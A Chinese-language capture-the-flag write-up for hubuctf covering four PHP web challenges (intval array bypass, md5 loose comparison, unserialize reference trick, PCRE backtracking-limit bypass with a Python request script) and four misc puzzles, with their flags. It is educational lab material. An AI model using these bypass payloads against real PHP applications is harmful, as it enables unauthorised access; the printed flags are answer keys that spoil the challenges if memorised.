web 
easyweb1 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  <?php error_reporting(0); highlight_file(__FILE__); $flag = getenv("GZCTF_FLAG"); if(isset($_GET['num'])){     $num = $_GET['num'];     if(preg_match("/[0-9]/", $num)){         die("You are failed.");     }     if(intval($num)){     echo $flag;     } }  
利用intval()的性质,用数组绕过。构造payload
 
hubuctf{80446bef-905a-4f87-94b8-c01e573ab311}
 
easyweb2 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting(0); highlight_file(__FILE__); $flag = getenv("GZCTF_FLAG"); include("config.php"); $a = $_GET['a']; if($a == md5($a)){     echo $flag; } 
找个md5值和它本身的值弱相等的就行。网上能找到,平时可以多收集。
 
hubuctf{c3ce23e3-016b-4f16-b701-343495750d74}
 
easyweb3 
考点:序列化反序列化
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting(0); highlight_file(__FILE__); $flag = getenv("GZCTF_FLAG"); class hubu{     public $token;     private $password;     public function __construct($t,$p){         $this->token= $t;         $this->password = $p;     }     public function login(){         return $this->token===$this->password;     } } $data = unserialize($_GET['hubu']); $data->token=md5(mt_rand()); if($data->login()){     echo $flag; } 
这个token是个md5数,又要强比较,我有两个想法:
但是token后面又被赋值成md5值了,mt-rand()函数又看不到输出值
所以这两个想法都不成立。
后来问了别人才知道,可以让password变量引用token变量,这样它们就是一样的值了。
构造payload
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class hubu{     public $token;     private $password;     public function __construct($t){         $this->token= $t;         $this->password = &$this->token;     }     public function login(){         return $this->token===$this->password;     } } $a = new hubu(1); echo urlencode(serialize($a)); ?> 
hubuctf{3c223411-3a5a-45f2-80a3-9bed82440ad0}
 
easyweb4 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php error_reporting(0); highlight_file(__FILE__); $flag = getenv("GZCTF_FLAG"); if(isset($_POST['data'])){     $a = (String)$_POST['data'];     if(preg_match('/.+?r1kka/is', $a)){         die('bye!');     }     if(stripos($a,'77r1kka') === FALSE){         die('bye!!');     }     echo $flag; } 
preg_match():其中的‘.’代表着匹配前面的单个字符,‘+’代表匹配一次或者是多次,‘+?’代表重复一次或者多次,尽可能的少重复;(大概就是匹配到*ctfshow,*代表任意字符,就会返回true)
stripos()函数:不区分大小写,返回子串在字符串中第一次出现的位置,位置是从0开始的;没有查找到,返回FALSE,stripos函数对于传递数组情况下,返回值为NULL,NULL!=FALSE
 
进行了一个String强制类型转换,意思就是不能用数组绕过了,所以用PCRE回溯次数限制.
 
1 2 3 4 5 6 7 8 9 import requests   url = 'http://challenge.hubuctf.cn:31393/' data = {     'data': 'very' * 250000 + '77r1kka' }   r = requests.post(url=url, data=data).text print(r) 
misc 
convert 
考点:二进制转16进制
 
先说正确做法:
将二进制转换成16进制,然后发现头是52 61 72 21,是个rar文件,直接提取文件
 
是个jpg文件,查看信息,就能找到一串码,解码就是flag。
ZmxhZ3swMWEyNWVhM2ZkNjM0OWM2ZTYzNWExZDAxOTZlNzVmYn0=
flag{01a25ea3fd6349c6e635a1d0196e75fb}
 
接下来说错误作法:
将二进制文件直接转换成图片
 
这个酷似二维码的图,我解了半天没解出来,明显思路错误。
 
passwd 
考点:流量分析
 
将文件放进wireshake分析,得到
 
7f表示退格,所以最后flag就是 flag{backd00Rmate}
 
reverse me 
考点:文件逆序
 
根据题目提示和文件尾,将文件逆序,得到一张jpg文件
 
然后将图片左右旋转就能拿到flag。
flag{4f7548f93c7bef1dc6a0542cf04e796e}
 
try_it 
考点:压缩包爆破
 
压缩包里面有个flag.txt,但需要密码,直接进行字典爆破
 
输入密码找到flag文件,打开发现是个jsfuck码,解码就是flag
 
flag{d7da7aeb-a3d6-4637-aff5-57ac9a00582b}